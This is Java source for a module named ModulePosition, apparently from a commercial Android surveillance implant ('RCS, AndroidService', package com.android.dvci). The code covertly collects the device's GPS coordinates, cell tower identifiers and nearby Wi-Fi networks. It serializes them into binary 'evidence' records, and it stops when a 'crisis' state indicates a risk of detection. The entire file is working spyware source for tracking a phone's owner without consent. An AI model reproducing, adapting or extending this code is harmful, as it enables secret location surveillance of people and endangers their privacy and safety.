/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : AgentPosition.java
 * Created      : 6-mag-2011
 * Author		: zeno
 * *******************************************/

package com.android.dvci.module;

import java.util.Date;
import java.util.List;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.location.Location;
import android.net.wifi.ScanResult;
import android.net.wifi.WifiManager;

import com.android.dvci.CellInfo;
import com.android.dvci.Device;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.conf.ConfigurationException;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.interfaces.IncrementalLog;
import com.android.dvci.module.position.GPSLocationListener;
import com.android.dvci.module.position.GPSLocatorAuto;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.DataBuffer;
import com.android.dvci.util.DateTime;

public class ModulePosition extends BaseInstantModule implements GPSLocationListener {
	private static final String TAG = "ModulePosition"; //$NON-NLS-1$
	private static final int TYPE_GPS = 1;
	private static final int TYPE_CELL = 2;
	private static final int TYPE_WIFI = 4;

	private static final int LOG_TYPE_GPS = 1;
	private static final int LOG_TYPE_GSM = 2;
	private static final int LOG_TYPE_WIFI = 3;
	private static final int LOG_TYPE_IP = 4;
	private static final int LOG_TYPE_CDMA = 5;
	private static final long POSITION_DELAY = 100;

	private boolean gpsEnabled;
	private boolean cellEnabled;
	private boolean wifiEnabled;

	int period;

	private Object position = new Object();
	private boolean scanning;

	@Override
	public boolean parse(ConfModule conf) {

		try {
			gpsEnabled = conf.getBoolean("gps");
			cellEnabled = conf.getBoolean("cell");
			wifiEnabled = conf.getBoolean("wifi");
		} catch (ConfigurationException e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " (parse) Error: " + e);
			}
			return false;
		}

		if (Cfg.DEBUG) {
			Check.log(TAG + " Info: " + "gpsEnabled: " + gpsEnabled);//$NON-NLS-1$ //$NON-NLS-2$
		}
		if (Cfg.DEBUG) {
			Check.log(TAG + " Info: " + "cellEnabled: " + cellEnabled);//$NON-NLS-1$ //$NON-NLS-2$
		}
		if (Cfg.DEBUG) {
			Check.log(TAG + " Info: " + "wifiEnabled: " + wifiEnabled);//$NON-NLS-1$ //$NON-NLS-2$
		}

		setPeriod(NEVER);
		setDelay(POSITION_DELAY);

		return true;
	}

	@Override
	public void actualStart() {
		if (Status.self().crisisPosition()) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " Warn: " + "Crisis!");//$NON-NLS-1$ //$NON-NLS-2$
			}

			return;
		}

		if (gpsEnabled) {
			locationGPS();
		}

		if (cellEnabled) {
			locationCELL();
		}

		if (wifiEnabled) {
			locationWIFI();
		}
	}

	private void locationWIFI() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (locationWIFI)");
		}
		final WifiManager wifiManager = (WifiManager) Status.getAppContext().getSystemService(Context.WIFI_SERVICE);
		if (wifiManager != null && wifiManager.isWifiEnabled()) {
			registerWifiScan(wifiManager);
			wifiManager.startScan();
		} else {
			if (Cfg.DEBUG) {
				Check.log(TAG + " Warn: " + "Wifi disabled");//$NON-NLS-1$ //$NON-NLS-2$
			}
		}
	}

	private void locationGPS() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (locationGPS)");
		}

		GPSLocatorAuto.self().start(this);
	}

	/**
	 * http://stackoverflow.com/questions/3868223/problem-with-
	 * neighboringcellinfo-cid-and-lac
	 */
	private void locationCELL() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (locationCELL)");
		}
		final CellInfo info = Device.getCellInfo();
		if (!info.valid) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " Error: " + "invalid cell info");//$NON-NLS-1$ //$NON-NLS-2$
			}
			return;
		}

		synchronized (position) {
			if (info.gsm) {
				EvidenceBuilder logCell = new EvidenceBuilder(EvidenceType.LOCATION_NEW, getAdditionalData(0,
						LOG_TYPE_GSM));
				logCell.write(getCellPayload(info, LOG_TYPE_GSM));
				logCell.close();

			} else if (info.cdma) {
				EvidenceBuilder logCell = new EvidenceBuilder(EvidenceType.LOCATION_NEW, getAdditionalData(0,
						LOG_TYPE_CDMA));
				logCell.write(getCellPayload(info, LOG_TYPE_CDMA));
				logCell.close();

			}
		}

	}

	@Override
	public void onLocationChanged(Location location) {
		if (location == null) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " location is null");
			}

			return;
		}

		final double lat = location.getLatitude();
		final double lng = location.getLongitude();

		if (Cfg.DEBUG) {
			Check.log(TAG + " lat: " + lat + " lon:" + lng);//$NON-NLS-1$ //$NON-NLS-2$
		}

		synchronized (position) {
			final long timestamp = location.getTime();

			if (Cfg.DEBUG) {
				Check.log(TAG + " valid");//$NON-NLS-1$
			}

			byte[] payload = getGPSPayload(location, timestamp);

			EvidenceBuilder logGPS = new EvidenceBuilder(EvidenceType.LOCATION_NEW, getAdditionalData(0,
					LOG_TYPE_GPS));
			logGPS.write(payload);

			logGPS.close();

		}
	}

	public void onWifiScan(List<ScanResult> results) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (onWifiScan)");
		}

		if (wifiReceiver != null) {
			Status.getAppContext().unregisterReceiver(wifiReceiver);
		}

		synchronized (position) {
			EvidenceBuilder logWifi = new EvidenceBuilder(EvidenceType.LOCATION_NEW, getAdditionalData(
					results.size(), LOG_TYPE_WIFI));

			for (ScanResult wifi : results) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " Info: " + "Wifi: " + wifi.BSSID);//$NON-NLS-1$ //$NON-NLS-2$
				}

				final byte[] payload = getWifiPayload(wifi.BSSID, wifi.SSID, wifi.level);
				logWifi.write(payload);
			}

			logWifi.close();
		}
	}

	private byte[] getAdditionalData(int structNum, int type) {

		final int addsize = 12;
		final byte[] additionalData = new byte[addsize];
		final DataBuffer addbuffer = new DataBuffer(additionalData, 0, additionalData.length);
		final int version = 2010082401;

		addbuffer.writeInt(version);
		addbuffer.writeInt(type);
		addbuffer.writeInt(structNum);

		if (Cfg.DEBUG) {
			Check.ensures(addbuffer.getPosition() == addsize, "addbuffer wrong size"); //$NON-NLS-1$
		}

		return additionalData;
	}

	private byte[] messageEvidence(byte[] payload, int type) {

		if (Cfg.DEBUG) {
			Check.requires(payload != null, "saveEvidence payload!= null"); //$NON-NLS-1$
		}

		if (Cfg.DEBUG) {
			Check.log(TAG + " saveEvidence payload: " + payload.length);//$NON-NLS-1$
		}

		final int version = 2008121901;
		final Date date = new Date();
		final int payloadSize = payload.length;
		final int size = payloadSize + 24;

		final byte[] message = new byte[size];

		final DataBuffer databuffer = new DataBuffer(message, 0, size);

		databuffer.writeInt(type);

		// header
		databuffer.writeInt(size);
		databuffer.writeInt(version);
		databuffer.writeLong(DateTime.getFiledate(date));

		// payload
		databuffer.write(payload);

		// delimiter
		databuffer.writeInt(EvidenceBuilder.E_DELIMITER);

		if (Cfg.DEBUG) {
			Check.ensures(databuffer.getPosition() == size, "saveEvidence wrong size"); //$NON-NLS-1$
		}

		// save log

		return message;

	}

	private byte[] getWifiPayload(String bssid, String ssid, int signalLevel) {
		if (Cfg.DEBUG) {
			//Check.log(TAG + " getWifiPayload bssid: " + bssid + " ssid: " + ssid + " signal:" + signalLevel);//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
		}
		final int size = 48;
		final byte[] payload = new byte[size];

		final DataBuffer databuffer = new DataBuffer(payload, 0, payload.length);

		for (int i = 0; i < 6; i++) {
			final byte[] token = ByteArray.hexStringToByteArray(bssid, i * 3, 2);

			// debug.trace("getWifiPayload " + i + " : "
			// + ByteArray.byteArrayToHex(token));

			if (Cfg.DEBUG) {
				Check.asserts(token.length == 1, "getWifiPayload: token wrong size"); //$NON-NLS-1$
			}

			databuffer.writeByte(token[0]);
		}

		// PAD
		databuffer.writeByte((byte) 0);
		databuffer.writeByte((byte) 0);

		final byte[] ssidcontent = ssid.getBytes();
		final int len = ssidcontent.length;
		final byte[] place = new byte[32];

		for (int i = 0; i < (Math.min(32, len)); i++) {
			place[i] = ssidcontent[i];
		}

		if (Cfg.DEBUG) {
			//Check.log(TAG + " getWifiPayload ssidcontent.length: " + ssidcontent.length);//$NON-NLS-1$
		}

		databuffer.writeInt(ssidcontent.length);
		databuffer.write(place);
		databuffer.writeInt(signalLevel);

		if (Cfg.DEBUG) {
			Check.ensures(databuffer.getPosition() == size, "databuffer.getPosition wrong size"); //$NON-NLS-1$
		}

		if (Cfg.DEBUG) {
			Check.ensures(payload.length == size, "payload wrong size"); //$NON-NLS-1$
		}

		return payload;
		// return messageEvidence(payload,LOG_TYPE_WIFI);
	}

	private byte[] getCellPayload(CellInfo info, int logType) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " getCellPayload");
			Check.requires(info.valid, "invalid cell info"); //$NON-NLS-1$
		}

		final int size = 19 * 4 + 48 + 16;
		final byte[] cellPosition = new byte[size];

		final DataBuffer databuffer = new DataBuffer(cellPosition, 0, cellPosition.length);

		databuffer.writeInt(size); // size
		databuffer.writeInt(0); // params

		databuffer.writeInt(info.mcc); //
		databuffer.writeInt(info.mnc); //
		databuffer.writeInt(info.lac); //
		databuffer.writeInt(info.cid); //

		databuffer.writeInt(0); // bsid
		databuffer.writeInt(0); // bcc

		databuffer.writeInt(info.rssi); // rx level
		databuffer.writeInt(0); // rx level full
		databuffer.writeInt(0); // rx level sub

		databuffer.writeInt(0); // rx quality
		databuffer.writeInt(0); // rx quality full
		databuffer.writeInt(0); // rx quality sub

		databuffer.writeInt(0); // idle timeslot
		databuffer.writeInt(0); // timing advance
		databuffer.writeInt(0); // gprscellid
		databuffer.writeInt(0); // gprs basestationid
		databuffer.writeInt(0); // num bcch

		databuffer.write(new byte[48]); // BCCH
		databuffer.write(new byte[16]); // NMR

		if (Cfg.DEBUG) {
			Check.ensures(databuffer.getPosition() == size, "getCellPayload wrong size"); //$NON-NLS-1$
		}

		return messageEvidence(cellPosition, logType);

	}

	/**
	 * @param timestamp
	 * @param accuracy
	 */
	private byte[] getGPSPayload(Location loc, long timestamp) {

		if (Cfg.DEBUG) {
			Check.log(TAG + " getGPSPayload");//$NON-NLS-1$
		}

		final Date date = new Date(timestamp);

		final double latitude = loc.getLatitude();
		final double longitude = loc.getLongitude();
		final double altitude = loc.getAltitude();
		final float hdop = loc.getAccuracy();
		final float vdop = 100;
		final float speed = loc.getSpeed();
		final float course = loc.getBearing();

		if (Cfg.DEBUG) {
			Check.log(TAG
					+ " " + " " + speed + " m/s |" + latitude + " , " + longitude + "|" + hdop + " m |" + course + " o |" + date);//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ //$NON-NLS-6$
		}

		final DateTime dateTime = new DateTime(date);

		// define GPS_VALID_UTC_TIME 0x00000001
		// define GPS_VALID_LATITUDE 0x00000002
		// define GPS_VALID_LONGITUDE 0x00000004
		// define GPS_VALID_SPEED 0x00000008
		// define GPS_VALID_HEADING 0x00000010
		// define GPS_VALID_HORIZONTAL_DILUTION_OF_PRECISION 0x00000200
		// define GPS_VALID_VERTICAL_DILUTION_OF_PRECISION 0x00000400
		final int validFields = 0x00000400 | 0x00000200 | 0x00000010 | 0x00000008 | 0x00000004 | 0x00000002
				| 0x00000001;

		final int size = 344;
		// struct GPS_POSITION
		final byte[] gpsPosition = new byte[size];

		final DataBuffer databuffer = new DataBuffer(gpsPosition, 0, gpsPosition.length);

		// struct GPS_POSITION
		databuffer.writeInt(0); // version
		databuffer.writeInt(size); // sizeof GPS_POSITION == 344
		databuffer.writeInt(validFields); // validFields
		databuffer.writeInt(0); // flags

		// ** Time related : 16 bytes
		databuffer.write(dateTime.getStructSystemdate()); // SYSTEMTIME

		// ** Position + heading related
		databuffer.writeDouble(latitude); // latitude
		databuffer.writeDouble(longitude); // longitude
		databuffer.writeFloat(speed); // speed
		databuffer.writeFloat(course); // heading
		databuffer.writeDouble(0); // Magnetic variation
		databuffer.writeFloat((float) altitude); // altitude
		databuffer.writeFloat(0); // altitude ellipsoid

		// ** Quality of this fix
		databuffer.writeInt(1); // GPS_FIX_QUALITY GPS
		databuffer.writeInt(2); // GPS_FIX_TYPE 3D
		databuffer.writeInt(0); // GPS_FIX_SELECTION
		databuffer.writeFloat(200); // PDOP
		databuffer.writeFloat(hdop); // HDOP
		databuffer.writeFloat(vdop); // VDOP

		// ** Satellite information
		databuffer.writeInt(0); // satellite used
		databuffer.write(new byte[48]); // prn used 12 int
		databuffer.writeInt(0); // satellite view
		databuffer.write(new byte[48]); // prn view
		databuffer.write(new byte[48]); // elevation in view
		databuffer.write(new byte[48]); // azimuth view
		databuffer.write(new byte[48]); // sn view

		if (Cfg.DEBUG) {
			Check.log(TAG + " len: " + databuffer.getPosition());//$NON-NLS-1$
		}

		if (Cfg.DEBUG) {
			Check.ensures(databuffer.getPosition() == size, "saveGPSLog wrong size: " + databuffer.getPosition()); //$NON-NLS-1$
		}

		return messageEvidence(gpsPosition, LOG_TYPE_GPS);

	}

	BroadcastReceiver wifiReceiver = null;

	public void registerWifiScan(final WifiManager wifiManager) {
		if (scanning) {
			return;
		}
		scanning = true;
		if (Cfg.DEBUG) {
			Check.log(TAG + " (registerWifi)");
		}
		final IntentFilter scanFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
		wifiReceiver = new BroadcastReceiver() {
			@Override
			public void onReceive(Context context, Intent intent) {
				try {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (onReceive)");
					}
					scanning = false;

					List<ScanResult> results = wifiManager.getScanResults();
					onWifiScan(results);
				} catch (Exception ex) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " ERROR: (onReceive) " + ex);
					}
				}
			}
		};

		Status.getAppContext().registerReceiver(wifiReceiver, scanFilter);
	}
}
